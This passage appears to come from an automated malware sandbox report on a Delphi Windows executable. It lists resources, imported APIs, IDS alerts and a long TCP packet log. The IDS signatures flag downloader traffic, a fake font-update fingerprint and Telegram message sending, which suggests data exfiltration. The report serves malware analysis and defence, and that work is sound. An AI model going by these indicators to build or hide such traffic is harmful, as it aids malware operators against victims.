                                                                                                                                                                    .rsrc0x1400000xd3e000xd3e00acf9e742f5c7671d790275c5e760a257False0.6424145003687316data7.464353329802556IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                                    Resources

                                                                                                                                                                    NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                    RT_CURSOR0x140b880x134Targa image data - Map 64 x 65536 x 1 +32 "\001"EnglishUnited States0.38636363636363635
                                                                                                                                                                    RT_CURSOR0x140cbc0x134dataEnglishUnited States0.4642857142857143
                                                                                                                                                                    RT_CURSOR0x140df00x134dataEnglishUnited States0.4805194805194805
                                                                                                                                                                    RT_CURSOR0x140f240x134dataEnglishUnited States0.38311688311688313
                                                                                                                                                                    RT_CURSOR0x1410580x134dataEnglishUnited States0.36038961038961037
                                                                                                                                                                    RT_CURSOR0x14118c0x134dataEnglishUnited States0.4090909090909091
                                                                                                                                                                    RT_CURSOR0x1412c00x134Targa image data - RGB 64 x 65536 x 1 +32 "\001"EnglishUnited States0.4967532467532468
                                                                                                                                                                    RT_BITMAP0x1413f40x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.43103448275862066
                                                                                                                                                                    RT_BITMAP0x1415c40x1e4Device independent bitmap graphic, 36 x 19 x 4, image size 380EnglishUnited States0.46487603305785125
                                                                                                                                                                    RT_BITMAP0x1417a80x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.43103448275862066
                                                                                                                                                                    RT_BITMAP0x1419780x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.39870689655172414
                                                                                                                                                                    RT_BITMAP0x141b480x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.4245689655172414
                                                                                                                                                                    RT_BITMAP0x141d180x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.5021551724137931
                                                                                                                                                                    RT_BITMAP0x141ee80x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.5064655172413793
                                                                                                                                                                    RT_BITMAP0x1420b80x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.39655172413793105
                                                                                                                                                                    RT_BITMAP0x1422880x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.5344827586206896
                                                                                                                                                                    RT_BITMAP0x1424580x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.39655172413793105
                                                                                                                                                                    RT_BITMAP0x1426280xe8Device independent bitmap graphic, 16 x 16 x 4, image size 128EnglishUnited States0.4870689655172414
                                                                                                                                                                    RT_ICON0x1427100x468Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 1889 x 1889 px/m0.4104609929078014
                                                                                                                                                                    RT_ICON0x142b780x988Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 1889 x 1889 px/m0.2815573770491803
                                                                                                                                                                    RT_ICON0x1435000x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 1889 x 1889 px/m0.20567542213883677
                                                                                                                                                                    RT_ICON0x1445a80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 1889 x 1889 px/m0.14844398340248963
                                                                                                                                                                    RT_ICON0x146b500x15efPNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.9403383793410508
                                                                                                                                                                    RT_DIALOG0x1481400x52data0.7682926829268293
                                                                                                                                                                    RT_DIALOG0x1481940x52data0.7560975609756098
                                                                                                                                                                    RT_STRING0x1481e80x29cdata0.4505988023952096
                                                                                                                                                                    RT_STRING0x1484840x2b4data0.476878612716763
                                                                                                                                                                    RT_STRING0x1487380xb4data0.6888888888888889
                                                                                                                                                                    RT_STRING0x1487ec0xe8data0.6422413793103449
                                                                                                                                                                    RT_STRING0x1488d40x2a8data0.4764705882352941
                                                                                                                                                                    RT_STRING0x148b7c0x3e8data0.382
                                                                                                                                                                    RT_STRING0x148f640x370data0.4022727272727273
                                                                                                                                                                    RT_STRING0x1492d40x3ccdata0.33539094650205764
                                                                                                                                                                    RT_STRING0x1496a00x214data0.49624060150375937
                                                                                                                                                                    RT_STRING0x1498b40xccdata0.6274509803921569
                                                                                                                                                                    RT_STRING0x1499800x194data0.5643564356435643
                                                                                                                                                                    RT_STRING0x149b140x3c4data0.3288381742738589
                                                                                                                                                                    RT_STRING0x149ed80x338data0.42961165048543687
                                                                                                                                                                    RT_STRING0x14a2100x294data0.42424242424242425
                                                                                                                                                                    RT_RCDATA0x14a4a40x10data1.5
                                                                                                                                                                    RT_RCDATA0x14a4b40x368data0.7029816513761468
                                                                                                                                                                    RT_RCDATA0x14a81c0xc9301GIF image data, version 89a, 384 x 288EnglishUnited States0.6578109736489234
                                                                                                                                                                    RT_RCDATA0x213b200x188Delphi compiled form 'TMainForm'0.7168367346938775
                                                                                                                                                                    RT_GROUP_CURSOR0x213ca80x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.25
                                                                                                                                                                    RT_GROUP_CURSOR0x213cbc0x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.25
                                                                                                                                                                    RT_GROUP_CURSOR0x213cd00x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.3
                                                                                                                                                                    RT_GROUP_CURSOR0x213ce40x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.3
                                                                                                                                                                    RT_GROUP_CURSOR0x213cf80x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.3
                                                                                                                                                                    RT_GROUP_CURSOR0x213d0c0x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.3
                                                                                                                                                                    RT_GROUP_CURSOR0x213d200x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.3
                                                                                                                                                                    RT_GROUP_ICON0x213d340x4cdata0.8289473684210527

                                                                                                                                                                    Imports

                                                                                                                                                                    DLLImport
                                                                                                                                                                    oleaut32.dllSysFreeString, SysReAllocStringLen, SysAllocStringLen
                                                                                                                                                                    advapi32.dllRegQueryValueExA, RegOpenKeyExA, RegCloseKey
                                                                                                                                                                    user32.dllGetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
                                                                                                                                                                    kernel32.dllGetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
                                                                                                                                                                    kernel32.dllTlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
                                                                                                                                                                    user32.dllCreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
                                                                                                                                                                    gdi32.dllUnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, BitBlt
                                                                                                                                                                    version.dllVerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
                                                                                                                                                                    kernel32.dlllstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryExA, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleW, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
                                                                                                                                                                    advapi32.dllRegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
                                                                                                                                                                    oleaut32.dllCreateErrorInfo, GetErrorInfo, SetErrorInfo, SysFreeString
                                                                                                                                                                    ole32.dllCoCreateInstance, CoUninitialize, CoInitialize
                                                                                                                                                                    kernel32.dllSleep
                                                                                                                                                                    oleaut32.dllSafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
                                                                                                                                                                    comctl32.dll_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create

                                                                                                                                                                    Possible Origin

                                                                                                                                                                    Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                    EnglishUnited States

                                                                                                                                                                    Network Behavior

                                                                                                                                                                    Suricata IDS Alerts

                                                                                                                                                                    TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                    2025-01-02T16:04:58.793329+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.44973123.237.26.135443TCP
                                                                                                                                                                    2025-01-02T16:05:28.208759+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.449733193.122.130.080TCP
                                                                                                                                                                    2025-01-02T16:05:31.036881+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.449733193.122.130.080TCP
                                                                                                                                                                    2025-01-02T16:05:31.634624+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.449742188.114.97.3443TCP
                                                                                                                                                                    2025-01-02T16:05:31.911893+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.449740193.122.130.080TCP
                                                                                                                                                                    2025-01-02T16:05:33.193132+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.449743193.122.130.080TCP
                                                                                                                                                                    2025-01-02T16:05:36.043613+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.449740193.122.130.080TCP
                                                                                                                                                                    2025-01-02T16:05:36.990025+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.449740193.122.130.080TCP
                                                                                                                                                                    2025-01-02T16:05:37.149920+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.449747188.114.97.3443TCP
                                                                                                                                                                    2025-01-02T16:05:37.602602+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.449748188.114.97.3443TCP
                                                                                                                                                                    2025-01-02T16:05:38.990029+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.449750193.122.130.080TCP
                                                                                                                                                                    2025-01-02T16:05:39.157162+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.449751188.114.97.3443TCP
                                                                                                                                                                    2025-01-02T16:05:41.036998+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.449755193.122.130.080TCP
                                                                                                                                                                    2025-01-02T16:05:46.371969+01001810007Joe Security ANOMALY Telegram Send Message1192.168.2.449765149.154.167.220443TCP
                                                                                                                                                                    2025-01-02T16:05:46.962711+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.449767188.114.97.3443TCP
                                                                                                                                                                    2025-01-02T16:05:52.527368+01001810007Joe Security ANOMALY Telegram Send Message1192.168.2.449772149.154.167.220443TCP

                                                                                                                                                                    Network Port Distribution

                                                                                                                                                                    TCP Packets

                                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                    Jan 2, 2025 16:04:58.225673914 CET49730443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:58.225723982 CET4434973023.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:58.225796938 CET49730443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:58.225914001 CET49730443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:58.226521969 CET4434973023.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:58.226572990 CET49730443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:58.245374918 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:58.245415926 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:58.245496035 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:58.249119997 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:58.249135017 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:58.793195009 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:58.793329000 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:58.796751976 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:58.796760082 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:58.797055006 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:58.839539051 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:58.878887892 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:58.919339895 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.021385908 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.021418095 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.021420956 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.021524906 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.021553040 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.051393986 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.051532984 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.051563025 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.095529079 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.099541903 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.099559069 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.099677086 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.099679947 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.099731922 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.101038933 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.101046085 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.101124048 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.101917982 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.101928949 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.101973057 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.101989031 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.138854027 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.138870001 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.138933897 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.187243938 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.187258959 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.187308073 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.187350988 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.188062906 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.188131094 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.188582897 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.188633919 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.190188885 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.190254927 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.191114902 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.191178083 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.192028046 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.192096949 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.196033001 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.196089029 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.226284027 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.226347923 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.274945974 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.275017023 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.275079966 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.275125980 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.275146008 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.275394917 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.275449991 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.275882006 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.275935888 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.276767015 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.276833057 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.276868105 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.276923895 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.277766943 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.277811050 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.277858973 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.277911901 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.278810978 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.278865099 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.279680014 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.279742956 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.283957958 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.284022093 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.284236908 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.284291983 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.284296989 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.284308910 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.284341097 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.284354925 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.313851118 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.313991070 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.361987114 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.362072945 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.362087965 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.362106085 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.362154961 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.362415075 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.362487078 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.362713099 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.362768888 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.363034010 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.363086939 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.363184929 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.363255024 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.363801956 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.363869905 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.363940954 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.364001989 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.364137888 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.364198923 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.364767075 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.364826918 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.365060091 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.365097046 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.365115881 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.365120888 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.365144968 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.365153074 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.371102095 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.371176958 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.371417046 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.371463060 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.371496916 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.371501923 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.371521950 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.371546030 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.379153967 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.379245043 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.401351929 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.401427031 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.449604034 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.449685097 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.449729919 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.449786901 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.449995041 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.450048923 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.450185061 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.450232029 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.450443983 CET4434973123.237.26.135192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:04:59.450500965 CET49731443192.168.2.423.237.26.135
                                                                                                                                                                    Jan 2, 2025 16:04:59.450746059 CET4434973123.237.26.135192.168.2.4
